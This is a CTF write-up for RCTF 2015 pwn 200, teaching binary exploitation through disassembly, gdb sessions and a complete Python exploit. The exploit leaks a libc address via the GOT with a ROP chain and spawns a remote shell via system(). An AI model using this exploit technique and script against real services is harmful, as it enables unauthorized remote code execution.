RCTF 2015 pwn 200

@mrexcessive

RCTF 2015 pwn 200

The four pops

http://roisfzu.org/

The problem

200 points

Pwn service on nc 180.76.178.48 6666
64bit C linux program.  
Binary provided.

Pwnable Exploit no-source-provided binary-provided

 

The solution

First things first: download binary && objdump -d && strings && readelf.

Quick play and look at asm reveals 10 second alarm timer with no noticable checksumming or protection around it. Make a modified binary to play with locally with this annoying timer patched to insigificance.

  4007d8:    bf 0a 00 00 00          mov    $0xa,%edi                 # LOCAL copy patched to 0xffff
  4007dd:    e8 ee fd ff ff          callq  4005d0 <alarm@plt>        # set 10 second alarm

This is a 64bit executable, so parameters to libc and builtins being passed in registers not on stack.

Run checksec.sh reveals no ASLR - so we know code addresses... but we do not know libc or stack/data addresses.
We have NX so exploit must be ROP or ret2libc

$ sudo ./checksec.sh --file welpwn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   welpwn

First analysis

Only two functions in program:

main() This reads in 0x400 bytes, looks robust and cannot overwrite stack as far as I can see. However there is protection against execution on the stack in place, so ROP is probably what we need to do... maybe somewhere else...

00000000004007cd <main>:
  4007cd:    55                      push   %rbp
  4007ce:    48 89 e5                mov    %rsp,%rbp
  4007d1:    48 81 ec 00 04 00 00    sub    $0x400,%rsp
  4007d8:    bf 0a 00 00 00          mov    $0xa,%edi                  # LOCAL copy patched to 0xffff
  4007dd:    e8 ee fd ff ff          callq  4005d0 <alarm@plt>         # set alarm
  4007e2:    ba 10 00 00 00          mov    $0x10,%edx
  4007e7:    be e7 08 40 00          mov    $0x4008e7,%esi             "Welcome to RCTF\n"
  4007ec:    bf 01 00 00 00          mov    $0x1,%edi
  4007f1:    e8 ba fd ff ff          callq  4005b0 <write@plt>
  4007f6:    48 8b 05 73 08 20 00    mov    0x200873(%rip),%rax        # 601070 <__TMC_END__>
  4007fd:    48 89 c7                mov    %rax,%rdi
  400800:    e8 1b fe ff ff          callq  400620 <fflush@plt>
  400805:    48 8d 85 00 fc ff ff    lea    -0x400(%rbp),%rax          # get buffer address
  40080c:    ba 00 04 00 00          mov    $0x400,%edx
  400811:    48 89 c6                mov    %rax,%rsi
  400814:    bf 00 00 00 00          mov    $0x0,%edi                  0 =<stdin>
  400819:    e8 c2 fd ff ff          callq  4005e0 <read@plt>          # read 0x400 bytes from <stdin> to %rsi
  40081e:    48 8d 85 00 fc ff ff    lea    -0x400(%rbp),%rax
  400825:    48 89 c7                mov    %rax,%rdi
  400828:    e8 f0 fe ff ff          callq  40071d                     # Exploitability must be in here then, echo()
  40082d:    b8 00 00 00 00          mov    $0x0,%eax
  400832:    c9                      leaveq 
  400833:    c3                      retq   

echo() Pretty sure, even at this stage, that the exploitable hole will be in here somewhere...

000000000040071d &echo>:    # input string is at RAX, RSI, RDI and $esp+0x48
  40071d:    55                      push   %rbp
  40071e:    48 89 e5                mov    %rsp,%rbp
  400721:    48 83 ec 20             sub    $0x20,%rsp
  400725:    48 89 7d e8             mov    %rdi,-0x18(%rbp)
  400729:    c7 05 49 09 20 00 00    movl   $0x0,0x200949(%rip)        # 60107c <i>
  400730:    00 00 00 
  400733:    eb 2e                   jmp    400763 <echo+0x46>
do_
  400735:    8b 05 41 09 20 00       mov    0x200941(%rip),%eax        # 60107c <i> -> eax
  40073b:    8b 15 3b 09 20 00       mov    0x20093b(%rip),%edx        # 60107c <i> -> edx
  400741:    48 63 ca                movslq %edx,%rcx                  i -> ecx as qw
  400744:    48 8b 55 e8             mov    -0x18(%rbp),%rdx           edx = &buffer
  400748:    48 01 ca                add    %rcx,%rdx                  add index
  40074b:    0f b6 12                movzbl (%rdx),%edx                fetch byte, zero padded to edx
  40074e:    48 98                   cltq       == cdqe                extend eax (=<i>) to qw 
  400750:    88 54 05 f0             mov    %dl,-0x10(%rbp,%rax,1)     # store byte back (VULN!)
  400754:    8b 05 22 09 20 00       mov    0x200922(%rip),%eax        # 60107c <i>\ 
  40075a:    83 c0 01                add    $0x1,%eax                               | i++
  40075d:    89 05 19 09 20 00       mov    %eax,0x200919(%rip)        # 60107c <i>/
while_
  400763:    8b 05 13 09 20 00       mov    0x200913(%rip),%eax        # 60107c <i>
  400769:    48 63 d0                movslq %eax,%rdx                  # sign extend <i> to qw %rdx
  40076c:    48 8b 45 e8             mov    -0x18(%rbp),%rax           # rax = &buffer
  400770:    48 01 d0                add    %rdx,%rax                  # add <i>
  400773:    0f b6 00                movzbl (%rax),%eax                # fetch byte -> eax
  400776:    84 c0                   test   %al,%al                    # <byte> == 0 ?
  400778:    75 bb                   jne    400735 <echo+0x18>         #no.. --> do_
  40077a:    8b 05 fc 08 20 00       mov    0x2008fc(%rip),%eax        # 60107c <i>
  400780:    48 98                   cltq   
  400782:    c6 44 05 f0 00          movb   $0x0,-0x10(%rbp,%rax,1)    # put a \0 at the length (rax)
  400787:    48 8d 45 f0             lea    -0x10(%rbp),%rax           # rax = &buffer
  40078b:    48 89 c6                mov    %rax,%rsi                  -> esi
  40078e:    bf c4 08 40 00          mov    $0x4008c4,%edi             "ROIS"
  400793:    e8 68 fe ff ff          callq  400600 <strcmp@plt>        # strcmp()
  400798:    85 c0                   test   %eax,%eax
  40079a:    75 19                   jne    4007b5 <echo+0x98>         # -> equal "ROIS", NO --> NOT_ROIS
  40079c:    bf c9 08 40 00          mov    $0x4008c9,%edi             "RCTF{Welcome}"
  4007a1:    b8 00 00 00 00          mov    $0x0,%eax
  4007a6:    e8 15 fe ff ff          callq  4005c0 <printf@plt>        printf()
  4007ab:    bf d7 08 40 00          mov    $0x4008d7,%edi             "is not flag"
  4007b0:    e8 eb fd ff ff          callq  4005a0 <puts@plt>
NOT_ROIS:
  4007b5:    48 8d 45 f0             lea    -0x10(%rbp),%rax           # & buffer
  4007b9:    48 89 c6                mov    %rax,%rsi
  4007bc:    bf e4 08 40 00          mov    $0x4008e4,%edi             "%s"
  4007c1:    b8 00 00 00 00          mov    $0x0,%eax
  4007c6:    e8 f5 fd ff ff          callq  4005c0 <printf@plt>        not directly vulnerable..., "%s" wrapped
  4007cb:    c9                      leaveq 
  4007cc:    c3                      retq

There we go then... echo() copies bytes to a small (0x20) byte buffer from a large (0x400) byte input, with only \0 stopping things... Stack based data-overflow, but into ROP not shellcode.


Some investigation locally and with gdb

Use the excellent socat with our timer-patched-out version

$ socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./welpwn_patched,pty

Use ROPgadget.py to generate gadgets in the binary.
There is not enough here to get a shell, we're going to need libc
BUT we don't know where libc is.

OK two initial objectives

  1. Get EIP control - which we can eventually use for ROP chain
  2. Work out how to extract a known reference into libc

I spend a bit of time trying to get a libc address leak, but it is quickly obvious that that's not the right thing to do first.

Extracting information will probably come after getting EIP control - we don't have any exposed printf() - so we can't just send in a string of "%N$08x"


A minor breakthrough

Sending in a recognition pattern and taking it slowly in GDB I'm getting a segfault which is hitting in the RET instruction at end of echo()
Also we have EBP control, which is probably more of a problem than a benefit - but it is usual, so ...

string.ascii_letters*4 (aaaabbbb.... ZZZZ) as input
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xd6 
RBX: 0x0 
RCX: 0xd6 
RDX: 0x7f767e0877a0 --> 0x0 
RSI: 0x7fffff29 
RDI: 0x7f767e0862a0 --> 0xfbad2884 
RBP: 0x6666666665656565 ('eeeeffff')
RSP: 0x7fff89645de8 ("gggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ\n`d\211\377\177")
RIP: 0x4007cc (:    ret)
R8 : 0x7fff8964600a5a5a 
R9 : 0x7f767dd2d9fa (:    cmp    BYTE PTR [rbp-0x4d8],0x0)
R10: 0x7f767e0846a0 --> 0x0 
R11: 0x246 
R12: 0x400630 (<_start>:    xor    ebp,ebp)
R13: 0x7fff896462d0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007c1 :    mov    eax,0x0
   0x4007c6 :    call   0x4005c0 
   0x4007cb :    leave  
=> 0x4007cc :    ret    

On exit from the function.
RBP has eeeeffff after LEAVE and segfaults on RET
RET is going to : gggghhhh

A complication

So... the exploit isn't overrunning a stack buffer during a read() or fgets()...
It's within the loop within echo() which copies bytes from the input buffer to a local unsafe buffer of only 0x20 bytes.

Unfortunately the copying stops on the first \0 byte, so we can only overwrite either a valid EIP - or a valid EBP... but not both.

I spend several painful hours attempting to show that this isn't so... but it is.

What... to... do... ?

Summarise and re-analyse... What can we do ?

  1. We can mess with bits of ebp, OR all of ebp AND bits (or all) of ret address: inside echo()
    but unless send complete qword then there will be a spurious "\n" in the value

  2. We can't make loop inside echo() overwrite the return address seen at end of main()
    I try for a while to make this happen...

  3. We can overwrite return address from echo()
    but if we do then have to provide a valid ebp value or things quickly go wrong

So, can I just overwrite EIP to return to the start of the program, the PUSH RBP at the start of main() ?
Yes... but then I don't have any information leak... so that's not gained us anything at all.
Is there anywhere we can go which would fix ebp ? and leak data... ? and go round again ?

I try going around a few times...

--- from a single run ---

57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a    Welcome.to.RCTF.
57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a    Welcome.to.RCTF.
61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64    aaaabbbbccccdddd
65 65 65 65 66 66 66 66 - cd 07 40                   eeeeffff..@
57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a    Welcome.to.RCTF.
61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64    aaaabbbbccccdddd
65 65 65 65 66 66 66 66 - cd 07 40                   eeeeffff..@

If only we could get a data leak in there... would become much easier, could ROP within the libc, or just call system()

After a considerable time messing about trying to find a single function to reveal information, leak data, and allow the exploit script to retain control...

Regroup

Just jumping to main() straight away is not useful - we haven't had any information leak... grrr....

I spend a considerable while trying to unravel this puzzle.

Then I notice something from the stack trace in GDB... Of course... the original input data, without any special requirements on position of \0 bytes, is lurking further down the stack

RAX: 0x1b 
RBX: 0x0 
RCX: 0x1b 
RDX: 0x7f51153dc7a0 --> 0x0 
RSI: 0x7fffffe4 
RDI: 0x7f51153db2a0 --> 0xfbad2884 
RBP: 0x7fff0b36b370 ("eeeeffff\315\a@")
RSP: 0x7fff0b36b350 --> 0x0 
RIP: 0x4007cb (:    leave)
R8 : 0x4007cd6666666665 
R9 : 0x7f51150829fa (:    cmp    BYTE PTR [rbp-0x4d8],0x0)
R10: 0x7f51153d96a0 --> 0x0 
R11: 0x246 
R12: 0x400630 (<_start>:    xor    ebp,ebp)
R13: 0x7fff0b36b860 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007bc :    mov    edi,0x4008e4
   0x4007c1 :    mov    eax,0x0
   0x4007c6 :    call   0x4005c0 
=> 0x4007cb :    leave  
   0x4007cc :    ret    
   0x4007cd 
: push rbp 0x4007ce : mov rbp,rsp 0x4007d1 : sub rsp,0x400 [------------------------------------stack-------------------------------------] 0000| 0x 7fff 0b36 b350 --> 0x0 0008| 0x7fff0b36b358 --> 0x7fff0b36b380 ("aaaabbbbccccddddeeeeffff\315\a@") 0016| 0x7fff0b36b360 ("aaaabbbbccccddddeeeeffff\315\a@") 0024| 0x7fff0b36b368 ("ccccddddeeeeffff\315\a@") 0032| 0x7fff0b36b370 ("eeeeffff\315\a@") << EBP points here 0040| 0x7fff0b36b378 --> 0x4007cd (
: push rbp) << RET through here as echo() exits 0048| 0x7fff0b36b380 ("aaaabbbbccccddddeeeeffff\315\a@") << ORIGINAL data 0056| 0x7fff0b36b388 ("ccccddddeeeeffff\315\a@ ")

Now ... if I can just jump past the 'broken' parts of the original data (everything up to and including the RET address) then a normal ROP chain can be used.

The four pops

0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

Putting this in as the 'single' instruction I can execute... advances the stack pointer into the 'pure' part of the original input buffer, where \0 bytes can be safely included.

So... Now I have a basic attack plan.

Basic Attack Plan

   4pops                      ; to get into the main ROP chain
   ...
   ROP_pop rdi                ; load rdi with value
   <address I want to dump>
   &printf()                  ; dump the memory
   &main()                    ; go around loop again... without restarting process, so libc and data stay put

About this time I find a "sh\0" string in the challenge binary (part of "flush\0") - handy for later...

It doesn't take too long from this point, on local system only, to get a shell.
We can use "print printf" and "print system" in gdb to find the offset
We can use the printf() trick above to get the local &libc.printf from the GOT and calculate &libc.system

So... we have a local shell.

&system on challenge server...

It takes much longer than I would have liked to discover the libc in use on the remote system.
The ROP_printf stops at the first \0... it turns out that the &printf on remote system has a LSB of 0x00
Consequently... I have to amend the macro which builds pointers... and I make a typo when doing that...

Eventually, while going through everything with a fine toothcomb, I find my mistake and get valid candidates for libc from identify.py

./identify.py printf=0x7f7fb9270400 system=?
system=0x00007f7fb9262640 ubuntu/libc6_2.19-0ubuntu6.5_amd64/lib/x86_64-linux-gnu/libc-2.19.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.4_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.8_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.5_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.2_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.7_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu6_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.6_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb9263ae0 debian/libc6.1_2.0.7.19981211-6_alpha/lib/libc-2.0.7.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.1_amd64/lib32/libc-2.11.1.so
system=0x00007f7fb92623d0 ubuntu/libc6-i386_2.11.1-0ubuntu7.3_amd64/lib32/libc-2.11.1.so

This gives me three offsets to try... and we get shell pretty much immediately. Flag in home directory.

Win!

./pwnserver.py 
initial response
57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a    Welcome.to.RCTF.
succeeds
61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64    aaaabbbbccccdddd
65 65 65 65 66 66 66 66 - 9c 08 40 00 00 00 00 00    eeeeffff..@.....
a3 08 40 00 00 00 00 00 - 29 10 60 00 00 00 00 00    ..@.....).`.....
a0 05 40 00 00 00 00 00 - cd 07 40 00 00 00 00 00    ..@.......@.....
57 65 6c 63 6f 6d 65 20 - 74 6f 20 52 43 54 46 0a    Welcome.to.RCTF.
61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64    aaaabbbbccccdddd
65 65 65 65 66 66 66 66 - 9c 08 40 b4 72 2e bc 7f    eeeeffff..@.r...
0a                                                   .
libc.printf() located at 7fbc2e72b400
libc.system() located at 7fbc2e71d640
sending
61 61 61 61 62 62 62 62 - 63 63 63 63 64 64 64 64    aaaabbbbccccdddd
65 65 65 65 66 66 66 66 - 9c 08 40 00 00 00 00 00    eeeeffff..@.....
a3 08 40 00 00 00 00 00 - d7 03 40 00 00 00 00 00    ..@.......@.....
40 d6 71 2e bc 7f 00 00 - cd 07 40 00 00 00 00 00    @.q.......@.....
Going to telnet... You have control...
ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ls home
ctf
ls home/ctf
flag
welpwn
cat/home/ctf/flag
sh: 4: cat/home/ctf/flag: not found
cat /home/ctf/flag
RCTF{W3LC0M3GUYS_Enjoy1T}

Exploit script

#!/usr/bin/python
# pwnserver.py FOR RCTF15/pwn200 
#@mrexcessive

import os, sys, code
import readline, rlcompleter
import socket
import string
import time
import struct
import telnetlib

SERVER = "180.76.178.48"      # the actual challenge server
PORT = 6666

pauseDebugging = True         # use this when debugging locally
goTelnetAtEnd = True          # enable once you have some kind of expectation that it isn't all screwed up
                              # and you might actually get a shell

p = lambda x: struct.pack("<L", x)            # from https://gist.github.com/soez/4ee5eb07d4a3982815ad
u = lambda x: struct.unpack('<L', x)[0]
p64 = lambda x: struct.pack("<Q", x)
u64 = lambda x: struct.unpack('<Q', x)[0]

localtest = False
if localtest:
   #TESTING LOCALLY
   SERVER = "localhost"
   PORT = 1337

debug = True
alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
printables =   alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#"
s = None


def HexPrint(what):
   #expects list of ints
   col = 0
   oplineA = ""
   oplineB = ""
   for c in what:
      b = ord(c)
      oplineA += "%02x " % b
      if not c in printables:
         c = '.'
      oplineB += c
      if col == 7:
         oplineA += "- "
      col += 1
      if col >= 16:
         print oplineA + ' ' * (53-len(oplineA)) + oplineB
         oplineA = ""
         oplineB = ""
         col = 0
   if oplineA <> "":     # final line if any
      print oplineA + ' ' * (53-len(oplineA)) + oplineB

def DoConnect():
   global s
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((SERVER,PORT))
   assert(s <> None)

def GetResponse(dropbefore="",timeout=0.5):
   global s
   s.setblocking(0)
   total_data=[]
   begin = time.time()
   while True:
      if total_data and time.time() - begin > timeout:  # wait timeout sec if we have something
         break
      elif time.time() - begin > timeout * 2:           # wait 2xtimeout if nothing
         break
      try:
         data = s.recv(1024)
         if data:
            total_data.append(data)
            begin = time.time()
         else:
            time.sleep(0.1)
      except:
         pass
   op = ''.join(total_data)
   if dropbefore == "":
      return op
   else:
      print "OP before drop = [%s]" % op
      (a,b) = op.split(dropbefore,2)
      return b

def PwnServer():
   addr_echo = 0x40071d
   addr_start_main = 0x4007cd
   addr_write_welcome = 0x4007f1
   addr_GOT_fflush = 0x601058
   addr_read = 0x4005e0
   addr_ADJUSTED_GOT_fflush = addr_GOT_fflush + 0x400

   if True:      # our main attack
      atk_4pops = "aaaabbbb" + "ccccdddd" + "eeeeffff"
      atk_4pops += p64(0x40089c)      
        # ROPgadget 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

      ROP_pop_rdi = p64(0x4008a3)       # : pop rdi ; ret
      ROP_call_puts = p64(0x4005a0)     # &puts()
      ROP_call_printf = p64(0x4005c0)   # &printf()
      ROP_call_main = p64(addr_start_main)

      addr_sh_string = 0x4003d7         # in program binary (end of "flush")

      if localtest:
         GOT_printf = p64(0x601028)       # &GOT.printf()  
         GOT_read = p64(0x601038)         # &GOT.read()    
      else:
         GOT_printf = p64(0x601029)       # (&GOT.printf()) + 1   YYY remote system has \x00 as first byte of printf() address
         GOT_read = p64(0x601039)         # (&GOT.read()) + 1

      # setup ROP chain
      atk_4pops += ROP_pop_rdi
      atk_4pops += GOT_printf          # I want to see its value    YYY printf lookup works locally
      atk_4pops += ROP_call_puts
      atk_4pops += ROP_call_main       # restart main()

      # eat the initial response
      r = GetResponse()
      print "initial response"
      HexPrint(r)

      print "succeeds"
      HexPrint(atk_4pops)

      s.sendall(atk_4pops + "\n")
      r = GetResponse()
      HexPrint(r)
      if True:      # using GOT_printf to locate things
         if localtest:
            addr_libc_printf = u64( ( r[-7:-1] + "\0"*8)[:8] )
            addr_libc_system = addr_libc_printf - 0xf860
         else:      # remote has \x00 as LSB of &libc.printf()
            addr_libc_printf = u64( ( r[-6:-1] + "\0"*8)[:8] ) * 0x100
            addr_libc_system = addr_libc_printf - 0xddc0a
         print "libc.printf() located at %12x" % addr_libc_printf
         ROP_call_printf = p64(addr_libc_printf)

      ROP_call_system = p64(addr_libc_system)

      print "libc.system() located at %12x" % addr_libc_system

   if True:    # followup system() invoking attack
      atk_sys = "aaaabbbb" + "ccccdddd" + "eeeeffff"
      atk_sys += p64(0x40089c) 
         # ROPgadget 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

      # setup ROP chain
      atk_sys += ROP_pop_rdi
      atk_sys += p64(addr_sh_string)
      atk_sys += ROP_call_system
      atk_sys += ROP_call_main     # restart main()
      print "sending"
      HexPrint(atk_sys)

      s.sendall(atk_sys + "\n")
      r = GetResponse()
      HexPrint(r)

if __name__ == "__main__":
   vars = globals()
   vars.update(locals())
   readline.set_completer(rlcompleter.Completer(vars).complete)
   readline.parse_and_bind("tab: complete")
   shell = code.InteractiveConsole(vars)
   # any startups

   DoConnect()
   PwnServer()

   if goTelnetAtEnd:
      print "Going to telnet... You have control..."
      t = telnetlib.Telnet()
      t.sock = s
      t.interact()